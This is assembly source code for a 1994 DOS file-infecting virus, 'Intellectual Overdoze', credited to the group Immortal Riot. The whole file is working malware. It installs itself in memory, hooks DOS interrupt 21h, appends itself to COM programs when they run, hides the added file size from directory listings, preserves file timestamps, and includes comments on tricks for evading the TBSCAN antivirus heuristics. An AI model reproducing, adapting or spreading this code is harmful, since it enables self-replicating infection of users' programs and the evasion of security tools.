; ------------------------------------------------------------------------------
;
;                       - Intellectual Overdoze -
;       Created by Immortal Riot's destructive development team
;              (c) 1994 The Unforgiven/Immortal Riot 
;
;-------------------------------------------------------------------------------
;          þ Memory Resident Stealth Infector of COM-programs þ
;-------------------------------------------------------------------------------
	.model  tiny
	.code
	org     100h

start:  

	jmp     virus_start                      ; for first generation only!
	db      'V'                              ; mark org file infected

virus_start:

	mov     sp,102h                          ; get delta offset without
	call    get_delta_offset                 ; getting detected by tbscan
					  
								 
get_delta_offset:

	call    cheat_tbscan                     ; kick's tbscan's heuristics
	mov     si,word ptr ds:[100h]            ; real bad!
	mov     sp,0fffeh
	sub     si,offset get_delta_offset
	jmp     short go_resident

cheat_tbscan:

	mov     ax,0305h                         ; keyb i/o           
	xor     bx,bx
	int     16h
	ret

go_resident:

	mov     bp,si                      

installtion_check:

	mov     ax,6666h                     
	int     21h
	cmp     bx,6666h                         ; 6666h returned in bx?
	je      already_resident                 ; = assume resident

	push    cs
	pop     ds

resize_memory_block:

	mov     ah,4ah                           ; find top of memory
	mov     bx,0ffffh                        ; (65536)
	int     21h                          

resize_memory_block_for_virus:

	sub     bx,(virus_end-virus_start+15)/16+1  ; resize enough para's
	mov     ah,4ah                              ; for virus
	int     21h

allocate_memory_block_for_virus:

	mov     ah,48h                               ; allocate for virus
	mov     bx,(virus_end-virus_start+15)/16
	int     21h
	jc      not_enough_mem                       ; not enough memory!

	dec     ax                                   ; ax - 1 = mcb
	push    es
	
mark_allocated_memory_block_to_dos:

	mov     es,ax
	mov     byte ptr es:[0],'Z'
	mov     word ptr es:[1],8                ; dos = mcb owner
	inc     ax

copy_virus_to_memory:

	cld                                      ; clear direction for movsw
	lea     si,[bp+offset virus_start]       ; vir start
	mov     es,ax
	xor     di,di
	mov     cx,(virus_end-virus_start+4)/2   ; vir len
	rep     movsw

manually_hook_of_int21h:

	xor     ax,ax
	mov     ds,ax
	push    ds                            
						 ; get/set int vector for int21
	lds     ax,ds:[21h*4]                                            
	mov     word ptr es:[oldint21h-virus_start],ax  
	mov     word ptr es:[oldint21h-virus_start+2],ds
	pop     ds
	mov     word ptr ds:[21h*4],(newint21h-virus_start)

	mov     bx,es                            ; cheat tbscan since
	mov     ds:[21h*4+2],bx                  ; mov ds:[21h*4+2],es = M flag

	push    cs                              
	pop     ds                                                      
						   
exit:
not_enough_mem:
already_resident:

	push    cs                                               
	pop     es                               

restore_first_bytes:

	mov     di,100h                       
	mov     cx,4                                                  
	mov     si,offset orgbuf              
	add     si,bp                            ; fix correct offset (delta)
	repne   movsb                            

jmp_org_program:
						 
	mov     ax,101h                          ; cheats tbscan's back to     
	dec     ax                               ; entry point
	jmp     ax                                    


newint21h:

	cmp     ax,4b00h                         ; file executed?
	je      infect                           
	
	cmp     ah,11h                           ; fcb findfirst call?
	je      fcb_stealth

	cmp     ah,12h                           ; fcb findnext call?
	je      fcb_stealth

	cmp     ax,6666h                         ; residency check            
	jne     do_old21h                        ; not resident
	mov     bx,6666h                         ; return marker in bx

do_old21h:

	jmp     dword ptr cs:[(oldint21h-virus_start)] ; jmp ssss:oooo
	ret                                     

fcb_stealth:

	pushf
	push    cs                               ; fake a int call with pushf
	call    do_old21h                        ; and cs, ip on the stack
	cmp     al,00                            ; dir successfull?
	jnz     dir_error                        ; naw, skip stealth routine!
	push    ax                              
	push    bx                              
	push    es                              
	mov     ah,51h                           ; Get active PSP to es:bx
	int     21h                             
	mov     es,bx                           
	cmp     bx,es:[16h]                      ; Dos calling it?
	jnz     not_dos                          ; Nope!
	mov     bx,dx                           
	mov     al,[bx]                          ; al = current drive
	push    ax                               
	mov     ah,2fh                           ; get dta area
	int     21h                              
	pop     ax                               ; check extended fcb 
	inc     al                               ; "cmp byte ptr [bx],0ffh"
	jnz     normal_fcb                       ; nope, regular fcb!

ext_fcb:
	add     bx,7h                            ; skip junkie if ext fcb

normal_fcb:

	mov     ax,es:[bx+17h]                   ; get second value
	and     ax,1fh
	xor     al,01h
	jnz     no_stealth                       ; second-stealth value match

; Here one should really check (i) if the file was a comfile, and (ii), 
; the file-size ( >472 bytes) But oh well, maybe to come.. 

	and     byte ptr es:[bx+17h],0e0h        ; substract virus len
	sub     es:[bx+1dh],(virus_end-virus_start)
	sbb     es:[bx+1fh],ax                  

no_stealth:
not_dos:

	pop     es                              
	pop     bx                              
	pop     ax                              
	
dir_error:   
	iret                                    
						
infect:

	push    ax                              
	push    bx                              
	push    cx
	push    dx
	push    di
	push    si
	push    ds
	push    es

open_file:

	mov     ax,3d02h                         ; open file in read/write
	int     21h                              ; mode
	jc      error_open                       ; error on file open
	
	xchg    ax,bx                            ; file handle in bx
		
	push    ds                              
	push    cs                              
	pop     ds                              

read_firstbytes:

	mov     ah,3fh                           ; read first four bytes
	mov     dx,(orgbuf-virus_start)          ; to orgbuf
	mov     cx,4                            
	int     21h                             


check_file_executed:

	cmp     byte ptr cs:[(orgbuf-virus_start)],'M'   ; check only first byte
	je      exe_file                                 ; - fooling tbscan
							  

check_previous_infection:

	cmp     byte ptr cs:[(orgbuf-virus_start)+3],'V' ; already infected?
	je      already_infected

	jmp     short get_file_time_date                 ; not infected

error_open:
already_infected:
exe_file:


	jmp     exit_proc                                ; dont infect file


get_file_time_date:

	mov     ax,5700h                                 ; get time/date
	int     21h

	mov     word ptr cs:[(old_time-virus_start)],cx  ; save time
	mov     word ptr cs:[(old_date-virus_start)],dx  ; and date
 
go_endoffile:

	mov     ax,4202h                                 ; go end of file
	xor     cx,cx
	cwd
	int     21h

check_file_size:

	cmp     ax,3072d                                 ; check file-size
	jb      too_small

	cmp     ax,64000d
	ja      too_big

create_newjump:

	sub     ax,3                                     ; 0e9h,XX,XX,
	mov     word ptr cs:[(newbuf+1-virus_start)],ax  ; V => AX

write_virus:

	mov     ah,40h                            ; write virus to end of file
	mov     cx,(virus_end-virus_start)
;       cwd                                       ; (dx = 0 since go eof)
	int     21h

go_tof:

	mov     ax,4200h
	xor     cx,cx
;       cwd                                        ; ( dx = 0 since go eof)
	int     21h


write_newjump:

	mov     ah,40h                             ; write new jmp to tof
	mov     cx,4                               ; = 0E9H,XX,XX,V
	mov     dx,(newbuf-virus_start)            ; offset to write from
	int     21h
	

set_org_time_date:
too_small:
too_big:

	mov     ax,5701h                                   ; set back org
	mov     word ptr cx,cs:[(old_time-virus_start)]    ; time
	mov     word ptr dx,cs:[(old_date-virus_start)]    ; date
	

set_stealth_marker:

	and     cl,0e0h                                    ; give file
	inc     cl                                         ; specific
	int     21h                                        ; second val

close_file:

	mov     ah,3eh                                     ; close file
	int     21h

exit_proc:

	pop     ds
	pop     es
	pop     ds
	pop     si
	pop     di
	pop     dx
	pop     cx
	pop     bx
	pop     ax

	jmp     dword ptr cs:[(oldint21h-virus_start)]     ; jmp ssss:oooo

old_date  dw    0                                          ; storage buffers
old_time  dw    0                                          ; for file time/date
oldint21h dd    ?                                          ; and oldint21h

orgbuf  db      0cdh,20h,00,00         ; buffer to save first 4 bytes in
newbuf  db      0E9h,00,00,'V'         ; buffer to calculate a new entry

copyrt  db      "[Overdoze] (c) 1994 The Unforgiven/Immortal Riot"

virus_end:
	end     start